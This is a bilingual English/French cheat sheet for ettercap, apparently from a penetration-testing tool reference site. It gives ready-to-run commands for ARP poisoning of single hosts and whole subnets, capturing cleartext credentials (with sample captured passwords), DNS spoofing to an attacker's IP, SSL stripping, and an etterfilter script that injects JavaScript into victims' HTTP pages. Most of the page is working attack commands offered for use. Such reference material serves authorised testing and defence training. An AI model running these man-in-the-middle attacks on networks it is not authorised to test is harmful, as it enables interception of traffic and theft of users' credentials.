ettercap
Suite complète pour les attaques man-in-the-middle sur les réseaux locaux. Effectue de l'ARP poisoning, du sniffing de trafic, du détournement de session, de la capture de mots de passe, et de l'injection de contenu. Comprehensive suite for man-in-the-middle attacks on LANs. Performs ARP poisoning, traffic sniffing, session hijacking, password capturing, and content injection.
↗ https://www.ettercap-project.org/Overview
ettercap is a full-featured MITM attack suite for LAN environments. It performs ARP cache poisoning to intercept traffic between targets, captures cleartext credentials, injects content into HTTP sessions, strips SSL, and supports plugins for custom attacks. Available in text, curses, and GTK GUI modes.
Basic Usage
GUI mode
sudo ettercap -G
Text mode (TUI)
sudo ettercap -T
Silent sniffing mode
sudo ettercap -T -q -i eth0
ARP poisoning between host and gateway
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
ARP Poisoning (MITM)
# Poison traffic between specific target and gateway
sudo ettercap -T -q -i eth0 \
-M arp:remote \
/192.168.1.50// \ # target
/192.168.1.1// # gateway
MITM all hosts on subnet
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.0/24// /192.168.1.1//
Two-way MITM (intercept in both directions)
sudo ettercap -T -q -i eth0 -M arp /192.168.1.0/24//
Enable IP forwarding (required!)
echo 1 > /proc/sys/net/ipv4/ip_forward
Credential Capture
# ettercap automatically captures credentials from:
# - FTP, Telnet, SSH1
# - HTTP Basic Auth
# - SMTP, POP3, IMAP (unencrypted)
# - SMB (hash capture)
# - MySQL, Oracle
# View captured credentials in real-time
# They appear in terminal output automatically
# Example output:
# FTP : 192.168.1.50:21 -> USER: admin PASS: password123
# HTTP : 192.168.1.50:80 -> USER: admin PASS: secretpass
Plugins
List available plugins
sudo ettercap --list-plugins
Use specific plugin
sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -P plugin_name
# Common plugins:
# dns_spoof — DNS spoofing (redirects domain to your IP)
# arp_cop — detect ARP poisoning attacks
# autoadd — auto-add new hosts to MITM
# chk_poison — check if ARP poisoning worked
# remote_browser — capture URLs browsed by targets
# sslstrip — strip HTTPS to HTTP
DNS Spoofing
Edit DNS spoof config
sudo nano /etc/ettercap/etter.dns
# Add entry:
# example.com A 10.10.10.50 # redirect to attacker
Run with dns_spoof plugin
sudo ettercap -T -q -i eth0 \
-M arp:remote /192.168.1.0/24// /192.168.1.1// \
-P dns_spoof
Content Injection
Inject HTML into HTTP responses using filters Create filter script: inject.ef Content filtering requires filter compilation:
etterfilter inject.ef -o inject.ef.compiled
Run with filter
sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -F inject.ef.compiled
Filter Example
# inject.ef — inject JavaScript into HTTP responses
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "</body>")) {
replace("</body>", "<script>alert('MITM')</script></body>");
msg("Injected!\n");
}
}
Tips
- Always enable IP forwarding or victims will lose internet during attack
- SSLstrip plugin downgrades HTTPS — but HSTS prevents this on modern browsers
- ettercap can be detected by IDS systems looking for ARP anomalies
- For more advanced MITM, consider bettercap (more actively maintained)
Help / Man page
ettercap [options] [target1] [target2]
-T Text (TUI) mode
-G GTK GUI mode
-C Curses UI
-q Quiet mode
-i IFACE Interface
-M METHOD MITM method (arp, icmp, port, dhcp)
-P PLUGIN Use plugin
-F FILTER Use compiled filter
-L FILE Logfile for all traffic
--list-plugins Show available plugins
-w FILE Write packets to pcap file
Target format: /IP1,IP2.../Port1,Port2.../
Example: /192.168.1.50// (any port on 192.168.1.50)
Vue d’ensemble
ettercap est une suite d’attaque MITM complète pour les environnements LAN. Elle effectue de l’empoisonnement du cache ARP pour intercepter le trafic entre les cibles, capture les identifiants en clair, injecte du contenu dans les sessions HTTP, retire le SSL, et prend en charge des plugins pour des attaques personnalisées. Disponible en modes texte, curses, et GUI GTK.
Utilisation de base
# Mode GUI
sudo ettercap -G
# Mode texte (TUI)
sudo ettercap -T
# Mode sniffing silencieux
sudo ettercap -T -q -i eth0
# ARP poisoning entre un hôte et la passerelle
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
ARP poisoning (MITM)
# Empoisonner le trafic entre une cible spécifique et la passerelle
sudo ettercap -T -q -i eth0 \
-M arp:remote \
/192.168.1.50// \ # cible
/192.168.1.1// # passerelle
MITM sur tous les hôtes du sous-réseau
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.0/24// /192.168.1.1//
MITM bidirectionnel (intercepter dans les deux sens)
sudo ettercap -T -q -i eth0 -M arp /192.168.1.0/24//
Activer le forwarding IP (requis !)
echo 1 > /proc/sys/net/ipv4/ip_forward
Capture d’identifiants
# ettercap capture automatiquement les identifiants depuis :
# - FTP, Telnet, SSH1
# - Authentification HTTP Basic
# - SMTP, POP3, IMAP (non chiffrés)
# - SMB (capture de hash)
# - MySQL, Oracle
# Voir les identifiants capturés en temps réel
# Ils apparaissent automatiquement dans la sortie du terminal
# Exemple de sortie :
# FTP : 192.168.1.50:21 -> USER: admin PASS: password123
# HTTP : 192.168.1.50:80 -> USER: admin PASS: secretpass
Plugins
# Lister les plugins disponibles
sudo ettercap --list-plugins
# Utiliser un plugin spécifique
sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -P plugin_name
# Plugins courants :
# dns_spoof : spoofing DNS (redirige un domaine vers votre IP)
# arp_cop : détecte les attaques d'ARP poisoning
# autoadd : ajoute automatiquement les nouveaux hôtes au MITM
# chk_poison : vérifie si l'ARP poisoning a fonctionné
# remote_browser : capture les URL consultées par les cibles
# sslstrip : retire le HTTPS pour le ramener en HTTP
Spoofing DNS
Éditer la configuration du DNS spoof
sudo nano /etc/ettercap/etter.dns
# Ajouter une entrée :
# example.com A 10.10.10.50 # redirection vers l'attaquant
Lancer avec le plugin dns_spoof
sudo ettercap -T -q -i eth0 \
-M arp:remote /192.168.1.0/24// /192.168.1.1// \
-P dns_spoof
Injection de contenu
Injecter du HTML dans les réponses HTTP en utilisant des filtres. Créer un script de filtre : inject.ef. Le filtrage de contenu nécessite la compilation du filtre :
etterfilter inject.ef -o inject.ef.compiled
Lancer avec le filtre
sudo ettercap -T -q -i eth0 -M arp:remote /target// /gateway// -F inject.ef.compiled
Exemple de filtre
# inject.ef : injecte du JavaScript dans les réponses HTTP
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "</body>")) {
replace("</body>", "<script>alert('MITM')</script></body>");
msg("Injected!\n");
}
}
Conseils
- Activez toujours le forwarding IP, sinon les victimes perdront leur accès internet pendant l’attaque
- Le plugin SSLstrip rétrograde le HTTPS, mais le HSTS empêche cela sur les navigateurs modernes
- ettercap peut être détecté par des systèmes IDS surveillant les anomalies ARP
- Pour un MITM plus avancé, envisagez bettercap (maintenu plus activement)
Aide / Page de manuel
ettercap [options] [target1] [target2]
-T Text (TUI) mode
-G GTK GUI mode
-C Curses UI
-q Quiet mode
-i IFACE Interface
-M METHOD MITM method (arp, icmp, port, dhcp)
-P PLUGIN Use plugin
-F FILTER Use compiled filter
-L FILE Logfile for all traffic
--list-plugins Show available plugins
-w FILE Write packets to pcap file
Target format: /IP1,IP2.../Port1,Port2.../
Example: /192.168.1.50// (any port on 192.168.1.50)